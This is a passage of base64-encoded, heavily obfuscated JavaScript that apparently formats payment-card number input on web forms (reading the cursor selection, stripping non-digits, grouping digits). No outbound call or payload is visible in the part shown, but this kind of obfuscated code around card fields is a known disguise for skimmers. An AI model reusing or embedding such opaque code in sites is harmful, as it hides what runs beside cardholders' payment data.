LDB4NWZkLDB4NmZhKSsnRWxlbWVudCddJiZfMHgyOWJiYTFbXzB4OTMxNDQxKDB4NjZiLDB4MWJmLDB4NDM5LDB4NDIyKStfMHgzOWQ1MmEoMHg3YzMsMHg1YTUsMHg3MjcsMHg0YTApXSE9PW51bGx8fChfMHg0NDc0MGFbXzB4MzlkNTJhKDB4NWRjLDB4NWVkLDB4NmYzLDB4OGJmKStfMHgzOWQ1MmEoMHg1ZWQsMHg0ZmQsMHg3ZTYsMHhhMGEpXXx8XzB4MzI0NmM5Wyd3ZWJraXRJc0Z1JytfMHgzOWQ1MmEoMHg2OTMsMHgxZGYsMHgzZDYsMHgxNTYpXSk7ZWxzZXt2YXIgXzB4NDUzZGI1O3JldHVybiBfMHg0MDc5MDhbXzB4OTMxNDQxKDB4M2Q3LDB4NWJmLDB4MmQ5LDB4NGE0KV0obnVsbCxfMHg4ZjgxNmRbXzB4OTMxNDQxKDB4NWMwLDB4NTFhLDB4NzIyLDB4OTQ3KV0oXzB4NDA3OTA4W18weDM5ZDUyYSgweDhkYSwweDdhOCwweDg5YSwweDVhZSldKSkmJl8weDQwNzkwOFtfMHg5MzE0NDEoMHgzNTksMHg0ZTgsMHgzYTMsMHg2OGIpXShfMHg4ZjgxNmRbXzB4MzlkNTJhKDB4ODQ2LDB4OGQ5LDB4OGU2LDB4YmFhKV0oXzB4NDA3OTA4W18weDM5ZDUyYSgweDhlYSwweDhhYywweDg5YSwweDZkYSldKSxfMHg4ZjgxNmRbXzB4MzlkNTJhKDB4OGUyLDB4YjI2LDB4OGU2LDB4YmNkKV0oXzB4NDA3OTA4W18weDM5ZDUyYSgweDU3OSwweDZhYywweDczYSwweDk3OCldKSk/ISgweDE4MGIrMHgxZCoweDEzMystMHgzYWQyKTpfMHg0MDc5MDhbXzB4OTMxNDQxKDB4MzgyLDB4MSwweDJhZiwweDRmNyldKG51bGwsXzB4NDA3OTA4W18weDkzMTQ0MSgweDJkMCwweDMyOSwweDIxNCwtMHgyNCldKF8weDQwNzkwOFtfMHgzOWQ1MmEoMHg5NzYsMHg5NDIsMHg2ZjEsMHg5YWUpXSx0eXBlb2YgZG9jdW1lbnQpJiZfMHg0MDc5MDhbJ2hZd2VjJ10obnVsbCxkb2N1bWVudCkmJl8weDQwNzkwOFtfMHg5MzE0NDEoMHgxNmMsMHgzMWUsMHgyMTQsMHgyYTApXShudWxsLF8weDQ1M2RiNT1kb2N1bWVudFsnc2VsZWN0aW9uJ10pP18weDQ1M2RiNVtfMHg5MzE0NDEoMHgxZjEsMHgyMjMsMHgzMzYsMHgzZmMpKydlJ106dm9pZCgtMHgxKjB4MWUyZisweDFjNSoweDMrMHgxOGUwKSkmJmRvY3VtZW50W18weDM5ZDUyYSgweDc2ZiwweDU1NCwweDUxYywweDYyOCldW18weDM5ZDUyYSgweDNlYSwweDU3NSwweDRmYSwweDc2NykrJ2UnXSgpW18weDkzMTQ0MSgweDNlYiwweDQ4NSwweDQxYSwweDQzMSldPyEoMHgxKi0weDI2NWIrLTB4MTQ3NisweDEqMHgzYWQxKTohKC0weDFiNyoweGErMHg1KjB4NzEzKy0weDEyMzgpO319LF8weDIzNzI4Zj1mdW5jdGlvbihfMHg1NTA1ZTAsXzB4NTM2MzRlKXtmdW5jdGlvbiBfMHgyOWQxMTMoXzB4MzRjYjFjLF8weDFmYzk5OSxfMHgzYjlmOGQsXzB4MTMzNzg2KXtyZXR1cm4gXzB4MzYwY2U4KF8weDM0Y2IxYy0weDE4NCxfMHgzNGNiMWMsXzB4M2I5ZjhkLTB4MTUyLF8weDFmYzk5OS0gLTB4NWUpO31mdW5jdGlvbiBfMHgxNDUwYzAoXzB4NWFiNzk1LF8weDUzYmFlMyxfMHgxOWVhN2EsXzB4NDgwMWM1KXtyZXR1cm4gXzB4MzYwY2U4KF8weDVhYjc5NS0weGViLF8weDQ4MDFjNSxfMHgxOWVhN2EtMHhkNyxfMHgxOWVhN2EtIC0weGU2KTt9aWYoXzB4MjQxMGU4Wyd1SFdaViddPT09XzB4MjQxMGU4W18weDE0NTBjMCgweDY4MywweDRhNywweDM5OSwweDFmZCldKXt2YXIgXzB4MTRjZDNjLF8weDI2MTIyOSxfMHgxMzdiMzgsXzB4MmI0OTQ3LF8weDRlMGYxNSxfMHg1NTFkZDM7dHJ5e18weDI2MTIyOT1fMHg1MzYzNGVbJ3Byb3AnXShfMHgyNDEwZThbXzB4MjlkMTEzKDB4MmYzLDB4NGVlLDB4NjMyLDB4MmIxKV0pO31jYXRjaChfMHgxYWI1OTYpe18weDJiNDk0Nz1fMHgxYWI1OTYsXzB4MjYxMjI5PW51bGw7fXJldHVybiBfMHg0ZTBmMTU9XzB4NTM2MzRlW18weDE0NTBjMCgweGJiLDB4MjM2LDB4MzhkLDB4M2Q1KV0oKSxfMHg1MzYzNGVbXzB4MTQ1MGMwKDB4MjVkLDB4MTA1LDB4MzhkLDB4ZjApXShfMHg1NTA1ZTApLG51bGwhPT1fMHgyNjEyMjkmJl8weDUzNjM0ZVsnaXMnXShfMHgyNDEwZThbXzB4MjlkMTEzKDB4OTlhLDB4N2QyLDB4ODY2LDB4OTk1KV0pPyhfMHgyNDEwZThbJ2NKWU1wJ10oXzB4MjYxMjI5LF8weDRlMGYxNVtfMHgxNDUwYzAoMHg4NjUsMHg2YjIsMHg4NGIsMHhhNTApXSkmJihfMHgyNjEyMjk9XzB4NTUwNWUwW18weDI5ZDExMygweGIwZiwweDhkMywweGE5MSwweGEyYSldKSxfMHg0ZTBmMTUhPT1fMHg1NTA1ZTAmJihfMHg1NTFkZDM9XzB4NGUwZjE1W18weDI5ZDExMygweDM3OCwweDU0ZCwweDI2ZiwweDRkZildKF8weDI0MTBlOFtfMHgxNDUwYzAoMHgyNWYsMHg3NGYsMHg1MTksMHg0MDMpXShfMHgyNjEyMjksMHgxMjAqLTB4ZistMHgyMGQzKzB4MzFiNCksXzB4MjQxMGU4W18weDE0NTBjMCgweDljZiwweDg0MywweDZlNiwweDRiYSldKCtfMHgyNjEyMjksLTB4MioweDUxYisweDE3YWYrLTB4ZDc4KXx8LTB4N2E5NWE0OWQrLTB4MjZiMjM5KjB4ZmU3Ky0weDRmYTYyZTcwYyotMHgxKSxfMHgxNGNkM2M9XzB4NTUwNWUwW18weDI5ZDExMygweDRiMiwweDU0ZCwweDNkMiwweDQ5NCldKF8weDI0MTBlOFtfMHgxNDUwYzAoMHg3M2IsMHg0YjcsMHg1MTksMHg2ZGYpXShfMHgyNjEyMjksLTB4MSoweDlmZisweGQzKi0weDcrMHhmYzUpLCtfMHgyNjEyMjkrKDB4MSoweDI2MDUrLTB4OCoweDQ3YistMHgyKjB4MTE2KXx8LTB4MSoweDE2YjkxNTIwOSstMHgyZjI2Yzc3NjkrMHg2NzY2ZWUzNzIpLF8weDEzN2IzOD1fMHg1NTA1ZTBbXzB4MjYxMjI5XSwvXGQvW18weDI5ZDExMygweDVhZCwweDZmZCwweDdiZiwweDVmNildKF8weDEzN2IzOCkmJl8weDI0MTBlOFtfMHgxNDUwYzAoMHg3ZDksMHg0YWEsMHg2N2MsMHgzOGQpXShfMHg1NTFkZDMsXzB4MjQxMGU4WydVWnNIdSddKCcnLF8weDEzN2IzOCkrJ1x4MjAnKSYmXzB4MTRjZDNjPT09J1x4MjAnK18weDEzN2IzOCYmKF8weDI2MTIyOSs9MHgzY2IrMHgxKjB4YjA2KzB4ZWQqLTB4MTApKSxfMHg1MzYzNGVbXzB4MjlkMTEzKDB4NzRhLDB4OGY4LDB4OWYzLDB4NmUzKV0oXzB4MjQxMGU4WydDclZZdCddLF8weDI2MTIyOSksXzB4NTM2MzRlW18weDE0NTBjMCgweDZhNiwweDYxNSwweDg3MCwweDdlMyldKF8weDI0MTBlOFtfMHgxNDUwYzAoMHg3ZGMsMHg3NDgsMHg4MDksMHg3NzcpXSxfMHgyNjEyMjkpKTp2b2lkKDB4MSotMHgxN2EzKy0weDJjMisweDFhNjUqMHgxKTt9ZWxzZSBfMHgxMThkZjRbXzB4MjlkMTEzKDB4NDE1LDB4M2E3LDB4MjVkLDB4NTBiKStfMHgxNDUwYzAoMHg0YWEsMHg5MTQsMHg2NjAsMHg1YjQpXSgpO30sXzB4NWQ3YjM4PWZ1bmN0aW9uKF8weDRkZmY2Nil7ZnVuY3Rpb24gXzB4MzhlODNhKF8weGY5ZWY0OCxfMHgxMmE0OWQsXzB4NTFjZThjLF8weDQ4ZmIyMCl7cmV0dXJuIF8weDE4NTgwZShfMHhmOWVmNDgtMHg5NCxfMHgxMmE0OWQtMHgxOGEsXzB4NDhmYjIwLTB4OTIsXzB4ZjllZjQ4KTt9ZnVuY3Rpb24gXzB4NTliNmJlKF8weDNkZWJiZCxfMHgzOTJlYTQsXzB4MzRiMTA0LF8weDM1NDRhOSl7cmV0dXJuIF8weDM2MGNlOChfMHgzZGViYmQtMHg2NixfMHgzZGViYmQsXzB4MzRiMTA0LTB4MTFlLF8weDM5MmVhNC0gLTB4NmQwKTt9aWYoXzB4MjQxMGU4W18weDU5YjZiZSgweDI1YiwweDQ1LDB4OGUsMHgyM2MpXShfMHgyNDEwZThbXzB4NTliNmJlKC0weGYyLC0weGUsMHg2MiwtMHgyODkpXSxfMHgyNDEwZThbXzB4MzhlODNhKC0weDE2NywweDM5MCwweDI2OSwweDExMyldKSlfMHg0ZDM2N2VbXzB4MzhlODNhKDB4MjM5LDB4MWM1LDB4NTNhLDB4MjhkKV0oJ3QnKTtlbHNle3ZhciBfMHg5MmE5NDAsXzB4MjE0MGYzLF8weDI2ZGE3NyxfMHgzNDEzYmEsXzB4Mjk3ZjU1LF8weDRiMmE3NCxfMHgxNzY1ODIsXzB4NGUzMWIzO2ZvcihudWxsPT1fMHg0ZGZmNjYmJihfMHg0ZGZmNjY9JycpLF8weDI2ZGE3Nz1fMHgyNDEwZThbXzB4MzhlODNhKDB4NDJmLDB4MTYwLDB4M2ExLDB4Mjk3KV0sXzB4MzQxM2JhPV8weDI0MTBlOFtfMHgzOGU4M2EoMHgxNWUsMHgxNWMsMHgxMmYsMHgyOTcpXSxfMHg0YjJhNzQ9JycsXzB4OTJhOTQwPV8weDRkZmY2NltfMHg1OWI2YmUoMHgyNSwweDE5MSwweDM5MSwtMHgxNDcpXSgnJyksXzB4MTc2NTgyPS0weDEqLTB4MjUwNysweDFmNDUrLTB4NDQ0YyxfMHg0ZTMxYjM9XzB4OTJhOTQwW18weDU5YjZiZSgweDIxMCwweDI2MSwweDRkZCwweDQwOCldO18weDI0MTBlOFtfMHg1OWI2YmUoMHg2ZSwweDRhLDB4ODksMHhmNyldKF8weDRlMzFiMyxfMHgxNzY1ODIpO18weDE3NjU4MisrKV8weDIxNDBmMz1fMHg5MmE5NDBbXzB4MTc2NTgyXSxfMHgyOTdmNTU9XzB4MjZkYTc3W18weDM4ZTgzYSgweDFjLC0weDRkLDB4M2VmLDB4MWY1KV0oXzB4MjE0MGYzKSxfMHgyNDEwZThbXzB4MzhlODNhKC0weDI0NiwtMHg4NywweDlhLC0weDExMildKF8weDI5N2Y1NSwtKDB4OSotMHhkZisweDIqMHgzZDArMHgzOCkpJiYoXzB4MjE0MGYzPV8weDM0MTNiYVtfMHgyOTdmNTVdKSxfMHg0YjJhNzQrPV8weDIxNDBmMztyZXR1cm4gXzB4NGIyYTc0O319LF8weDFlOWJhNT1mdW5jdGlvbihfMHgyYzE5ZDYpe2Z1bmN0aW9uIF8weDU0NzAzYihfMHg1MWI3NjEsXzB4MjY1Njk4LF8weDI1NDkwNSxfMHhjZTY0NGIpe3JldHVybiBfMHgxODU4MGUoXzB4NTFiNzYxLTB4MTExLF8weDI2NTY5OC0weDEyOSxfMHhjZTY0NGItMHgzZDYsXzB4NTFiNzYxKTt9dmFyIF8weDUxODUzYj17J3ZTZW1MJzpmdW5jdGlvbihfMHgyZTc5ZjAsXzB4M2NiZjQ1KXtyZXR1cm4gXzB4NDA3OTA4WydKWE1KYSddKF8weDJlNzlmMCxfMHgzY2JmNDUpO30sJ2lRSkJiJzpmdW5jdGlvbihfMHgyNGZiZjEsXzB4MzY4ODYyLF8weDM1NmIzNil7ZnVuY3Rpb24gXzB4NGJkMGRlKF8weDFmMDI1MCxfMHgyMGNmY2YsXzB4Mjk3MjVmLF8weDMzZjVhOCl7cmV0dXJuIF8weDRjMGYoXzB4MjBjZmNmLSAtMHgxYjYsXzB4Mjk3MjVmKTt9cmV0dXJuIF8weDQwNzkwOFtfMHg0YmQwZGUoMHg2NDcsMHgzZmEsMHgzZjIsMHg1ZWYpXShfMHgyNGZiZjEsXzB4MzY4ODYyLF8weDM1NmIzNik7fX0sXzB4MzU5YWE1O2Z1bmN0aW9uIF8weDQ2ZTRiYihfMHgzNmZkODAsXzB4MzVhMjBmLF8weDUxOTVkOSxfMHgxMjYxMjcpe3JldHVybiBfMHgzNjBjZTgoXzB4MzZmZDgwLTB4MWNmLF8weDUxOTVkOSxfMHg1MTk1ZDktMHgxNzcsXzB4MzVhMjBmLSAtMHg1ZCk7fXJldHVybiBfMHgzNTlhYTU9XzB4NDA3OTA4W18weDQ2ZTRiYigweDgyYSwweDU5MCwweDQzMSwweDYzNildKF8weDIxMTFlZixfMHgyYzE5ZDZbJ2N1cnJlbnRUYXInK18weDU0NzAzYigweDQxZCwweDc0MSwweDkwNiwweDY2MCldKSxfMHg0MDc5MDhbXzB4NTQ3MDNiKDB4NGRlLDB4MzBkLDB4NGNjLDB4MzgyKV0oc2V0VGltZW91dCxmdW5jdGlvbigpe3ZhciBfMHgyNzI0ZTQ7ZnVuY3Rpb24gXzB4MzhlMTY1KF8weDQzNDM4ZSxfMHhiZjY1NDQsXzB4MjcxZDNlLF8weDNhM2Q0OCl7cmV0dXJuIF8weDU0NzAzYihfMHgzYTNkNDgsXzB4YmY2NTQ0LTB4MTlhLF8weDI3MWQzZS0weDI1LF8weGJmNjU0NC0gLTB4NDIzKTt9ZnVuY3Rpb24gXzB4NTgxMDA2KF8weDE4N2Q2ZSxfMHgyNDFlNTMsXzB4NDljYTU1LF8weDM0ZDlkNyl7cmV0dXJuIF8weDU0NzAzYihfMHgzNGQ5ZDcsXzB4MjQxZTUzLTB4MWI5LF8weDQ5Y2E1NS0weGY2LF8weDQ5Y2E1NS0gLTB4MzUyKTt9cmV0dXJuIF8weDI3MjRlND1fMHgzNTlhYTVbXzB4NTgxMDA2KC0weDFkMSwweDNiLC0weDE0YSwtMHg2ZildKCksXzB4MjcyNGU0PV8weDUxODUzYltfMHg1ODEwMDYoMHg0MiwweGIxLC0weDY4LDB4ZTQpXShfMHg1ZDdiMzgsXzB4MjcyNGU0KSxfMHgyNzI0ZTQ9XzB4MjcyNGU0W18weDU4MTAwNigweDU5ZCwweDUwNSwweDNkZiwweDUyZildKC9cRC9nLCcnKSxfMHg1MTg1M2JbXzB4MzhlMTY1KDB4NDgyLDB4MzAzLDB4MzE5LDB4NDU2KV0oXzB4MjM3MjhmLF8weDI3MjRlNCxfMHgzNTlhYTUpO30pO30sXzB4M2EwNWYzPWZ1bmN0aW9uKF8weDRkOTMxMCl7dmFyIF8weDQ3NGQ5NztmdW5jdGlvbiBfMHg0NTMzZWYoXzB4MjNiMDU4LF8weDIwY2ZjNSxfMHgzOTkyOGYsXzB4MjJlNWRhKXtyZXR1cm4gXzB4MzYwY2U4KF8weDIzYjA1OC0weDk2LF8weDM5OTI4ZixfMHgzOTkyOGYtMHgxZWUsXzB4MjNiMDU4LTB4Mik7fWZ1bmN0aW9uIF8weGU3YjAzYyhfMHhhZWRhNTgsXzB4MzMwNzkyLF8weDVjMDkzNSxfMHgzN2YxMGMpe3JldHVybiBfMHgxODU4MGUoXzB4YWVkYTU4LTB4NDcsXzB4MzMwNzkyLTB4NGQsXzB4NWMwOTM1LTB4NmMzLF8weDM3ZjEwYyk7fXJldHVybiBfMHg0NzRkOTc9XzB4MjExMWVmKF8weDRkOTMxMFtfMHg0NTMzZWYoMHg4MzEsMHhhMGQsMHg5OWYsMHg1NzQpK18weDQ1MzNlZigweDhjZCwweDhmOSwweGFmNSwweDcyNCldKSxfMHgyNDEwZThbXzB4NDUzM2VmKDB4NGIzLDB4MzAzLDB4MWJjLDB4NjM3KV0oc2V0VGltZW91dCxmdW5jdGlvbigpe2Z1bmN0aW9uIF8weDNjZjAxMyhfMHgxYmYzODQsXzB4MzllMjliLF8weDU1YmZhNSxfMHg0ZGQ3OTkpe3JldHVybiBfMHhlN2IwM2MoXzB4MWJmMzg0LTB4MTM0LF8weDM5ZTI5Yi0weDc1LF8weDFiZjM4NC0gLTB4Njk3LF8weDRkZDc5OSk7fWZ1bmN0aW9uIF8weDRiMmJiMihfMHg0N2Q0NGUsXzB4MzRkOTgwLF8weDI2ZDkzMCxfMHgzMDgzNjYpe3JldHVybiBfMHg0NTMzZWYoXzB4MzA4MzY2LSAtMHg2NzgsXzB4MzRkOTgwLTB4MThlLF8weDQ3ZDQ0ZSxfMHgzMDgzNjYtMHgxYjMpO312YXIgXzB4OWY0Yjg2O3JldHVybiBfMHg5ZjRiODY9XzB4NDc0ZDk3Wyd2YWwnXSgpLF8weDlmNGI4Nj1fMHg1ZDdiMzgoXzB4OWY0Yjg2KSxfMHg5ZjRiODY9XzB4MjExMWVmW18weDNjZjAxMygweDJhOCwweDFhNywweDU0ZiwweDQ4MSldWydmcm10X0NfcmROJytfMHg0YjJiYjIoLTB4NGFlLC0weGEzLC0weDNkMSwtMHgyN2MpXShfMHg5ZjRiODYpLF8weDQwNzkwOFsnbHFvUkwnXShfMHgyMzcyOGYsXzB4OWY0Yjg2LF8weDQ3NGQ5Nyk7fSk7fSxfMHg1MGFmMDY9ZnVuY3Rpb24oXzB4YzEwOWI5KXtmdW5jdGlvbiBfMHg1Y2E2MmEoXzB4NWQ5NTFlLF8weDE1ZDk4MCxfMHgyMTFjOTIsXzB4YTFkMWJkKXtyZXR1cm4gXzB4MTg1ODBlKF8weDVkOTUxZS0weGM5LF8weDE1ZDk4MC0weGRjLF8weDIxMWM5Mi0weDQ1YSxfMHg1ZDk1MWUpO31mdW5jdGlvbiBfMHg1NGE4MzQoXzB4Mjk2ZGM1LF8weGQ5NGIwOCxfMHhiMGNmMTEsXzB4MzgyNWM0KXtyZXR1cm4gXzB4MTg1ODBlKF8weDI5NmRjNS0weDgyLF8weGQ5NGIwOC0weDE5ZCxfMHgyOTZkYzUtMHg2MjcsXzB4YjBjZjExKTt9dmFyIF8weDI0MGNhMz17J0FESlZVJzpmdW5jdGlvbihfMHgyNDM5OTkpe2Z1bmN0aW9uIF8weDUxNDY0ZChfMHg0ZDEyMjMsXzB4MTRlYzA5LF8weDM4YmE4MSxfMHg1NTcwNjcpe3JldHVybiBfMHg0YzBmKF8weDM4YmE4MS0weDEwLF8weDRkMTIyMyk7fXJldHVybiBfMHgyNDEwZThbXzB4NTE0NjRkKDB4NzY5LDB4NmM2LDB4NWYzLDB4ODcyKV0oXzB4MjQzOTk5KTt9LCdxdmVDaSc6XzB4MjQxMGU4W18weDVjYTYyYSgweDU0ZiwweDg5OCwweDViMSwweDc3NCldLCd1dVp0byc6ZnVuY3Rpb24oXzB4MzcwNTQ1LF8weDMxMGM5YSl7cmV0dXJuIF8weDM3MDU0NTxfMHgzMTBjOWE7fSwnUnVialQnOl8weDI0MTBlOFtfMHg1Y2E2MmEoMHg0MjEsMHgzYjEsMHg0MGMsMHgzODApXSwnR0VnVUsnOl8weDU0YTgzNCgweDhhMywweDgwZCwweGIwMiwweDZhZSksJ2tRU0xXJzpfMHgyNDEwZThbJ2h1SWhiJ10sJ1dRbFBhJzpmdW5jdGlvbihfMHgzMDM1MWEsXzB4YWNjNDEpe2Z1bmN0aW9uIF8weDFkODhjNChfMHgyZmRjMWIsXzB4MjViNzk5LF8weGE0ODUwMyxfMHgyYWU3N2Ype3JldHVybiBfMHg1Y2E2MmEoXzB4MmZkYzFiLF8weDI1Yjc5OS0weGU5LF8weDJhZTc3Zi0weDIxYyxfMHgyYWU3N2YtMHgxN2UpO31yZXR1cm4gXzB4MjQxMGU4W18weDFkODhjNCgweDcwNiwweDRkYSwweDJhMSwweDRlNildKF8weDMwMzUxYSxfMHhhY2M0MSk7fSwnRnVtUlknOmZ1bmN0aW9uKF8weDUzNDAyOCxfMHgyYmI1ODQpe2Z1bmN0aW9uIF8weDU1MzEwOShfMHg0NTUwNGMsXzB4YTZkZWNlLF8weDU3Y2Q1MixfMHg0NzBmNWQpe3JldHVybiBfMHg1Y2E2MmEoXzB4NTdjZDUyLF8weGE2ZGVjZS0weDEyNSxfMHhhNmRlY2UtIC0weDEwOCxfMHg0NzBmNWQtMHgxZjApO31yZXR1cm4gXzB4MjQxMGU4W18weDU1MzEwOSgweDUxYywweDRkZCwweDY3NCwweDQ0OCldKF8weDUzNDAyOCxfMHgyYmI1ODQpO30sJ3hVdG5PJzpmdW5jdGlvbihfMHgzYzhjOTAsXzB4MTNhNTllKXtyZXR1cm4gXzB4M2M4YzkwK18weDEzYTU5ZTt9LCdzVkNQdyc6ZnVuY3Rpb24oXzB4NGZlZWMzLF8weDI4N2RlNyl7cmV0dXJuIF8weDI0MTBlOFsneVByTGcnXShfMHg0ZmVlYzMsXzB4Mjg3ZGU3KTt9LCdzTW9IaCc6XzB4MjQxMGU4W18weDU0YTgzNCgweDdhYiwweDhkZiwweGE0MSwweDZiZildLCdhcXVIRyc6XzB4MjQxMGU4W18weDU0YTgzNCgweDc3NiwweDQ5MiwweDc3NywweDU1NyldLCdvbmZhVCc6XzB4MjQxMGU4W18weDU0YTgzNCgweDY4MCwweDZhOSwweDU3YSwweDRkNyldLCdra0l5bSc6XzB4MjQxMGU4W18weDVjYTYyYSgweDQzMywweDdkOSwweDU2YywweDQ3MildLCdaYk96USc6ZnVuY3Rpb24oXzB4MjBlYjJhKXtyZXR1cm4gXzB4MjBlYjJhKCk7fSwnU09SWmQnOmZ1bmN0aW9uKF8weGI4NDNmMCl7ZnVuY3Rpb24gXzB4N2EwYjM0KF8weDQ0ZDc0NSxfMHhiMDhkMmYsXzB4YTJjYTRkLF8weDUxNDQ5OSl7cmV0dXJuIF8weDVjYTYyYShfMHhhMmNhNGQsXzB4YjA4ZDJmLTB4MWM1LF8weDUxNDQ5OS0gLTB4M2RlLF8weDUxNDQ5OS0weGUwKTt9cmV0dXJuIF8weDI0MTBlOFtfMHg3YTBiMzQoMHgxMDEsMHgyY2IsMHgzMDcsMHg3OSldKF8weGI4NDNmMCk7fSwnV1dlakcnOmZ1bmN0aW9uKF8weDFkMTQ4YSxfMHgxYzJiZGQpe2Z1bmN0aW9uIF8weDQ4MjRlNChfMHhiZDYzNyxfMHgyMjE1ZTYsXzB4MzY1NDRiLF8weDQ4ZmUzMil7cmV0dXJuIF8weDVjYTYyYShfMHgzNjU0NGIsXzB4MjIxNWU2LTB4N2IsXzB4YmQ2MzctIC0weDM4YyxfMHg0OGZlMzItMHgxNWMpO31yZXR1cm4gXzB4MjQxMGU4W18weDQ4MjRlNCgweDI4LDB4MWI2LDB4OGUsMHgyZTYpXShfMHgxZDE0OGEsXzB4MWMyYmRkKTt9LCdPQ1N2Syc6ZnVuY3Rpb24oXzB4MTI2NmQwKXtmdW5jdGlvbiBfMHgzYmQzMzcoXzB4NDQ3MzZkLF8weDViZWJiYSxfMHgxMGQ3YTMsXzB4MjA5ZDM2KXtyZXR1cm4gXzB4NWNhNjJhKF8weDEwZDdhMyxfMHg1YmViYmEtMHgxNixfMHg0NDczNmQtIC0weGZlLF8weDIwOWQzNi0weDU5KTt9cmV0dXJuIF8weDI0MTBlOFtfMHgzYmQzMzcoMHg1ZjEsMHg3MWIsMHg1OWQsMHg3NzYpXShfMHgxMjY2ZDApO30sJ3FSbG5FJzpmdW5jdGlvbihfMHg5MzQ3M2EsXzB4MzllNmQ0KXtyZXR1cm4gXzB4MjQxMGU4Wyd6WE11aCddKF8weDkzNDczYSxfMHgzOWU2ZDQpO30sJ2R4b29YJzpfMHgyNDEwZThbXzB4NWNhNjJhKDB4M2ZhLDB4MzM1LDB4MjZhLDB4NDBhKV19LF8weDE5MTMxNyxfMHgzYWU0MmQsXzB4NWYxNjhmLF8weDE1Y2NlYSxfMHg1ZTc0MTMsXzB4MzUxYmQ1LF8weDQyMTU2MTtyZXR1cm4gXzB4NWYxNjhmPVN0cmluZ1snZnJvbUNoYXJDbycrJ2RlJ10oXzB4YzEwOWI5W18weDVjYTYyYSgweDU5MCwweDhjNywweDdkYywweDg5NSldKSwhL15cZCskL1tfMHg1NGE4MzQoMHg3NDEsMHg3ZjEsMHg2MmMsMHg5OTcpXShfMHg1ZjE2OGYpfHwoXzB4MTkxMzE3PV8weDIxMTFlZihfMHhjMTA5YjlbXzB4NWNhNjJhKDB4M2QwLDB4ODVhLDB4NjQ4LDB4NWNkKSsnZ2V0J10pLF8weDQyMTU2MT1fMHgxOTEzMTdbXzB4NTRhODM0KDB4NDU5LDB4NmEyLDB4NzE0LDB4MmJiKV0oKSxfMHgzYWU0MmQ9XzB4MjQxMGU4W18weDU0YTgzNCgweDQ5NywweDI3MCwweDNjYiwweDViNCldKF8weDE0NmVhYixfMHgyNDEwZThbJ1NJSVRzJ10oXzB4NDIxNTYxLF8weDVmMTY4ZikpLF8weDE1Y2NlYT0oXzB4NDIxNTYxW18weDVjYTYyYSgweDhkNCwweGE3YSwweDdiNSwweDU1MildKC9cRC9nLCcnKStfMHg1ZjE2OGYpWydsZW5ndGgnXSxfMHgzNTFiZDU9MHgxNTk5Ky0weDI2Ki0weDErMHgzMTkqLTB4NyxfMHgzYWU0MmQmJihfMHgzNTFiZDU9XzB4M2FlNDJkW18weDVjYTYyYSgweDljNCwweDVmZCwweDc0YSwweDRiMSldW18weDNhZTQyZFtfMHg1NGE4MzQoMHg5MTcsMHg3YTksMHg5YzIsMHg3MTkpXVtfMHg1Y2E2MmEoMHg2NTgsMHg5YmQsMHg3NGEsMHg4ZjIpXS0oMHgxZDE3KzB4NTgqLTB4YistMHgxOTRlKjB4MSldKSxfMHgyNDEwZThbXzB4NWNhNjJhKDB4NTlmLDB4NGExLDB4NGE5LDB4MjMxKV0oXzB4MTVjY2VhLF8weDM1MWJkNSl8fG51bGwhPV8weDE5MTMxN1tfMHg1Y2E2MmEoMHg3ZjksMHg4ZTAsMHg3NmYsMHg5ZTQpXShfMHg1Y2E2MmEoMHg3NiwweDRjNSwweDMwNiwweDVkYSkrXzB4NWNhNjJhKDB4NzIxLDB4N2I3LDB4NTQ5LDB4NWVjKSkmJl8weDI0MTBlOFtfMHg1NGE4MzQoMHg2NWEsMHg0NTEsMHgzZTQsMHg2OTEpXShfMHgxOTEzMTdbXzB4NWNhNjJhKDB4OWE3LDB4NWFlLDB4NzZmLDB4NzM1KV0oXzB4MjQxMGU4W18weDU0YTgzNCgweDUzMiwweDQ0ZiwweDQzNCwweDM3NCldKSxfMHg0MjE1NjFbJ2xlbmd0aCddKSk/dm9pZCgweDdmKi0weDIzKy0weDk5MSsweDE3ZioweDEyKTooXzB4NWU3NDEzPV8weDNhZTQyZCYmXzB4MjQxMGU4W18weDVjYTYyYSgtMHg0NSwweDFlYSwweDIwZSwtMHg0OCldKF8weDI0MTBlOFtfMHg1Y2E2MmEoMHg3YmMsMHg5ZDQsMHg3NDYsMHg1MGQpXSxfMHgzYWU0MmRbXzB4NTRhODM0KDB4NzE0LDB4OTU5LDB4OTk1LDB4OWM3KV0pPy9eKFxkezR9fFxkezR9XHNcZHs2fSkkLzovKD86XnxccykoXGR7NH0pJC8sXzB4NWU3NDEzW18weDVjYTYyYSgweDJiYywweDdhMCwweDU3NCwweDJjNCldKF8weDQyMTU2MSk/KF8weGMxMDliOVtfMHg1Y2E2MmEoMHg3ZGEsMHgzZWMsMHg1MzYsMHg3ZTQpKydhdWx0J10oKSxfMHgyNDEwZThbXzB4NTRhODM0KDB4NDk3LDB4NmFjLDB4MWM5LDB4MjA4KV0oc2V0VGltZW91dCxmdW5jdGlvbigpe2Z1bmN0aW9uIF8weDUzNmZjMihfMHgyMDhjNDMsXzB4MTFhOTNiLF8weDRhOGY0NixfMHgzMDU4ZTIpe3JldHVybiBfMHg1NGE4MzQoXzB4NGE4ZjQ2LSAtMHg1ZTksXzB4MTFhOTNiLTB4MTVhLF8weDIwOGM0MyxfMHgzMDU4ZTItMHgzZik7fWZ1bmN0aW9uIF8weDI5ODVlNShfMHg1ZDQ0OWUsXzB4MjNiYjI1LF8weDU2YmNmYSxfMHg1YzlmNWIpe3JldHVybiBfMHg1NGE4MzQoXzB4NTZiY2ZhLTB4MjEsXzB4MjNiYjI1LTB4MWFjLF8weDVjOWY1YixfMHg1YzlmNWItMHhjYSk7fXJldHVybiBfMHgxOTEzMTdbXzB4Mjk4NWU1KDB4Mjg5LDB4NjU5LDB4NDdhLDB4NWE0KV0oXzB4NDA3OTA4WydTRFhxcyddKF8weDQwNzkwOFtfMHgyOTg1ZTUoMHg1NGEsMHg1M2YsMHg4MjAsMHhhMGIpXShfMHg0MjE1NjEsJ1x4MjAnKSxfMHg1ZjE2OGYpKTt9KSk6XzB4NWU3NDEzW18weDU0YTgzNCgweDc0MSwweDU0ZSwweDQ0OSwweGExZildKF8weDI0MTBlOFtfMHg1NGE4MzQoMHgzZTEsMHgzMTUsMHgxMWEsMHg0M2UpXShfMHg0MjE1NjEsXzB4NWYxNjhmKSk/KF8weGMxMDliOVtfMHg1NGE4MzQoMHg3MDMsMHg5NjIsMHg4MzgsMHg5NmEpK18weDU0YTgzNCgweDQ0NiwweDQyNiwweDRhNCwweDY1YildKCksXzB4MjQxMGU4W18weDVjYTYyYSgweDhhNywweDllZiwweDc5MywweDg0OSldKHNldFRpbWVvdXQsZnVuY3Rpb24oKXtmdW5jdGlvbiBfM